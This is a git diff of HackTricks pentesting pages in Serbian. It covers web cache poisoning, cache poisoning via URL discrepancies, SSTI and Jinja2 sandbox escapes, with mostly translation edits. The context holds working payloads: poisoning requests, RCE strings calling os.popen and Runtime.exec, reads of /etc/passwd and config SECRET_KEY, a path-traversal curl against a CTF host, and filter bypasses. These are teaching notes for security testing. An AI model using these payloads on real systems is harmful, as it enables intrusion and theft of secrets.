pomoću zaglavlja kao što su `X-HTTP-Method-Override`, `X-HTTP-Method` ili `X-Method-Override`. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira: ``` GET /blogs HTTP/1.1 Host: redacted.com @@ -66,7 +66,7 @@ HTTP-Method-Override: POST ``` * **Nepovezani Port** -Ako je port u Host header-u odražen u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na neiskorišćeni port: +Ako je port u Host header-u odražen u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na neiskorišćen port: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 @@ -77,7 +77,7 @@ Cache: miss ``` * **Long Redirect DoS** -Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmerenje da napravi preusmerenje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekovanog x ključa dobiti odgovor sa greškom: +Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmerenje da napravi preusmerenje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekeširanog x ključa dobiti odgovor sa greškom: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com @@ -106,7 +106,7 @@ Not Found ``` * **Normalizacija putanje** -Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, cache server će URLdecode-ovati putanju i sačuvati odgovor za URLdecoded putanju: +Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, keš server će URLdecode putanju i sačuvati odgovor za URLdecoded putanju: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com @@ -131,18 +131,18 @@ xyz HTTP/2 403 Forbidden Cache: hit ``` -## Reference +## References * [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) * [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------) {% hint style="success" %} -Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Podržite HackTricks +Podrška HackTricks * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md new file mode 100644 index 000000000..e0f793b2a --- /dev/null +++ b/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -0,0 +1,79 @@ +# Cache Poisoning via URL discrepancies + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na trovanje kešom **zloupotrebom razlika između keš proxy servera i web servera.** + +{% hint style="info" %} +Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao ključ keša, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitavati dinamičku stranicu (koja može čuvati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa napadačeve veb stranice, na primer). +{% endhint %} + +## Delimiters + +**URL delimiters** se razlikuju u zavisnosti od okvira i servera, utičući na to kako se zahtevi usmeravaju i kako se odgovori obrađuju. Neki uobičajeni delimiters su: + +* **Tačka i zarez**: Koristi se u Spring-u za matrične promenljive (npr. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). +* **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css` → `/MyAccount`). +* **Null Byte**: Skraćuje putanje u OpenLiteSpeed (npr. `/MyAccount%00aaa` → `/MyAccount`). +* **Nov red**: Razdvaja komponente URL-a u Nginx-u (npr. `/users/MyAccount%0aaaa` → `/account/MyAccount`). + +Drugi specifični delimiters mogu se naći prateći ovaj proces: + +* **Korak 1**: Identifikovati ne-kešabilne zahteve i koristiti ih za praćenje kako se URL-ovi sa potencijalnim delimiterima obrađuju. +* **Korak 2**: Dodati nasumične sufikse putanjama i uporediti odgovor servera kako bi se utvrdilo da li karakter funkcioniše kao delimiter. +* **Korak 3**: Uvesti potencijalne delimiters pre nasumičnog sufiksa da se vidi da li se odgovor menja, što ukazuje na korišćenje delimiter-a. + +## Normalization & Encodings + +* **Svrha**: URL parseri u keš i izvor serverima normalizuju URL-ove kako bi izvukli putanje za mapiranje krajnjih tačaka i ključeve keša. +* **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem tačaka-segmenta. + +### **Encodings** + +Različiti HTTP serveri i proxy serveri poput Nginx-a, Node-a i CloudFront-a dekodiraju delimitere na različite načine, što dovodi do nedoslednosti među CDN-ima i izvor serverima koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam` → `/myAccount?param`, ali keš server zadrži kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost. + +Način da se proveri za ove nedoslednosti je slanje zahteva URL kodirajući različite karaktere nakon učitavanja putanje bez ikakvog kodiranja i provera da li je odgovor kodirane putanje došao iz keširanog odgovora. + +### Dot segment + +Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na trovanje kešom. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok drugi mogu rešiti putanju i koristiti `/home/index` kao ključ keša.\ +Baš kao i ranije, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene. + +## Static Resources + +Nekoliko keš servera će uvek keširati odgovor ako je identifikovan kao statički. Ovo može biti zbog: + +* **Ekstenzije**: Cloudflare će uvek keširati datoteke sa sledećim ekstenzijama: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx +* Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter i statičku ekstenziju kao što je zahtev za `/home$image.png` koji će keširati `/home$image.png`, a izvor server će odgovoriti sa `/home` +* **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statičke datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared +* Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter, statički direktorijum i tačke kao: `/home/..%2fstatic/something` će keširati `/static/something`, a odgovor će biti `/home` +* **Statičke direktorijume + tačke**: Zahtev za `/static/..%2Fhome` ili za `/static/..%5Chome` može biti keširan kao takav, ali odgovor može biti `/home` +* **Statičke datoteke:** Neke specifične datoteke se uvek keširaju kao što su `/robots.txt`, `/favicon.ico`, i `/index.html`. Što se može zloupotrebiti kao `/home/..%2Frobots.txt` gde keš može čuvati `/robots.txt`, a izvor server odgovara na `/home`. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index f524609a9..a7826a3a3 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,8 +1,8 @@ # SSTI (Server Side Template Injection) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking:
-[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini. +[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} @@ -35,22 +35,22 @@ Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -The payload `{{bad-stuff-here}}` je ubačen u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom. +The payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom. -Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega s obzirom na kontekst može pomoći u smanjenju rizika od ove ranjivosti. +Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti. ### Detection Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, **fuzzing šablona** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u šablon i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju: -* Izbačene greške, koje otkrivaju ranjivost i potencijalno šablonski motor. -* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke. -* **Plaintext Context**: Razlikovati od XSS-a proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`). -* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime. +* Bacanje grešaka, otkrivajući ranjivost i potencijalno šablonski motor. +* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje drugačije od običnih podataka. +* **Plaintext Context**: Razlikovati od XSS proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`). +* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjanje `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime. #### Identification Phase -Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u određivanju specifičnog šablonskog motora. +Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog šablonskog motora. ## Tools @@ -196,7 +196,7 @@ Razmotrite sledeći deo koda, koji bi mogao biti podložan eksploataciji: ``` -Ovo ukazuje da, ako motor za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su: +Ovo ukazuje da, ako motor šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -215,7 +215,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Obilaženje filtera** -Mogu se koristiti višestruki izrazi promenljivih, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`. +Više varijantnih izraza može se koristiti, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`. * Pročitajte `/etc/passwd` ```java @@ -282,6 +282,7 @@ Nova verzija Pebble : + {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] @@ -329,7 +330,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c * `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() -Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/). +Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False @@ -385,7 +386,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju: * **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu. -* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima. +* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije. * **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio neometanu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije. Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**: @@ -396,7 +397,7 @@ Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpr ### Groovy (Java) -Sledeće zaobilaženje Security Manager-a preuzeto je iz ovog [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +Sledeći zaobilaženja sigurnosnog menadžera preuzeta su iz ovog [**izveštaja**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @@ -603,7 +604,7 @@ echo $t->finish($t->parse('OUT', 'authors')); ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, a koristi XML oznake za deljenje dokumenta na različite delove +> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove ```xml This is the main page. @@ -621,7 +622,7 @@ Hello {NAME}.
### Handlebars (NodeJS) -Putanja prolaska (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). +Putanja prolaza (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` @@ -663,7 +664,7 @@ URLencoded: | | Evaluiraj i renderuj izlaz | | | Evaluiraj i renderuj HTML kodiran izlaz| | | Komentar | -| i | Dozvoli kod (onemogućeno po defaultu) | +| i | Dozvoli kod (podrazumevano onemogućeno)| * \= 49 @@ -765,6 +766,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvol + {{os.system('whoami')}} {{os.system('whoami')}} ``` @@ -797,6 +799,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvol + {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 @@ -882,7 +885,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje ### Mojolicious (Perl) -Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju. +Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju. * `<%= 7*7 %> = 49` * `<%= foobar %> = Greška` @@ -896,7 +899,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s * `{{ . }}`: Otkrije strukturu podataka. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije. * `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti". -* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-i bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template). +* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template). **XSS Eksploatacija** @@ -906,9 +909,9 @@ vbnet Copy code **RCE Eksploatacija** -RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/). +RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći “call” vrednost), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/). -Za RCE putem SSTI u Go-u, metode objekta mogu se pozvati. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru: +Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima `System` metodu koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -954,13 +957,13 @@ Ako mislite da bi moglo biti korisno, pročitajte:
-​​​[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini. +​​​[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} -Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index a5a2e6ec4..ba70bab76 100644 --- a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -1,8 +1,8 @@ # Jinja2 SSTI {% hint style="success" %} -Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -47,9 +47,10 @@ Ako je Debug ekstenzija omogućena, `debug` oznaka će biti dostupna za ispis tr + ``` -### **Ispisati sve konfiguracione promenljive** +### **Ispis svih konfiguracionih varijabli** ```python {{ config }} #In these object you can find all the configured env variables @@ -63,15 +64,16 @@ Ako je Debug ekstenzija omogućena, `debug` oznaka će biti dostupna za ispis tr + ``` ## **Jinja Injection** -Prvo i osnovno, u Jinja injekciji morate **pronaći način da pobegnete iz sandboxes** i povratite pristup redovnom python izvršnom toku. Da biste to uradili, morate **zloupotrebiti objekte** koji su **iz** **ne-sandbox okruženja, ali su dostupni iz sandboxes**. +Prvo i osnovno, u Jinja injekciji morate **pronaći način da pobegnete iz sandboxes** i povratite pristup redovnom python izvršnom toku. Da biste to uradili, morate **zloupotrebiti objekte** koji su **iz** **ne-sandboxovanog okruženja, ali su dostupni iz sandboxes**. ### Pristupanje Globalnim Objektima -Na primer, u kodu `render_template("hello.html", username=username, email=email)` objekti username i email **dolaze iz ne-sandbox python okruženja** i biće **dostupni** unutar **sandbox okruženja.**\ -Pored toga, postoje drugi objekti koji će biti **uvek dostupni iz sandbox okruženja**, to su: +Na primer, u kodu `render_template("hello.html", username=username, email=email)` objekti username i email **dolaze iz ne-sandboxovanog python okruženja** i biće **dostupni** unutar **sandboxovanog okruženja.**\ +Štaviše, postoje drugi objekti koji će biti **uvek dostupni iz sandboxovanog okruženja**, to su: ``` [] '' @@ -123,6 +125,7 @@ dict.__mro__[-1] + # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} @@ -131,7 +134,7 @@ dict.__mro__[-1] **Nakon što smo povratili** `` i pozvali `__subclasses__`, sada možemo koristiti te klase za čitanje i pisanje fajlova i izvršavanje koda. -Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo srećni samo ako pristupimo **klasi fajla** da **čitamo/pišemo fajlove** ili bilo kojoj klasi koja ima pristup klasi koja **omogućava izvršavanje komandi** (kao što je `os`). +Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo srećni samo ako pristupimo **klasi fajlova** da **čitamo/pišemo fajlove** ili bilo kojoj klasi koja ima pristup klasi koja **omogućava izvršavanje komandi** (kao što je `os`). **Read/Write remote file** ```python @@ -173,7 +176,7 @@ Da biste saznali o **više klasa** koje možete koristiti za **izbegavanje**, mo #### Uobičajena zaobilaženja Ova zaobilaženja će nam omogućiti da **pristupimo** **atributima** objekata **bez korišćenja nekih karaktera**.\ -Već smo videli neka od ovih zaobilaženja u primerima prethodnog, ali hajde da ih ovde sumiramo: +Već smo videli neka od ovih zaobilaženja u primerima prethodnog, ali hajde da ih sumiramo ovde: ```bash # Without quotes, _, [, ] ## Basic ones @@ -201,6 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi + ``` * [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#accessing-global-objects) * [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) @@ -214,7 +218,7 @@ Podrazumevano Flask HTML kodira sve unutar šablona iz bezbednosnih razloga: #will be <script>alert(1);</script> ``` -**`safe`** filter omogućava nam da injektujemo JavaScript i HTML u stranicu **bez** da bude **HTML kodiran**, kao što je ovo: +**`safe`** filter omogućava nam da injektujemo JavaScript i HTML u stranicu **bez** da bude **HTML kodiran**, ovako: ```python {{''|safe}} #will be @@ -241,11 +245,12 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** + ``` ## Jinja Injection bez **\** Iz [**globalnih objekata**](jinja2-ssti.md#accessing-global-objects) postoji još jedan način da se dođe do **RCE bez korišćenja te klase.**\ -Ako uspete da dođete do bilo koje **funkcije** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** vrlo **jednostavan**. +Ako uspete da dođete do bilo koje **funkcije** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** veoma **jednostavan**. Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** kojem imate pristup sa: ```bash @@ -281,6 +286,7 @@ Kada pronađete neke funkcije, možete povratiti ugrađene funkcije sa: {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} {% endraw %} + ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins @@ -318,13 +324,13 @@ The request will be urlencoded by default according to the HTTP format, which ca ## Reference * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) -* Proverite [attr trik za zaobilaženje crnih lista ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). +* Proverite [attr trik za zaobilaženje crnih karaktera ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI) {% hint style="success" %} -Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
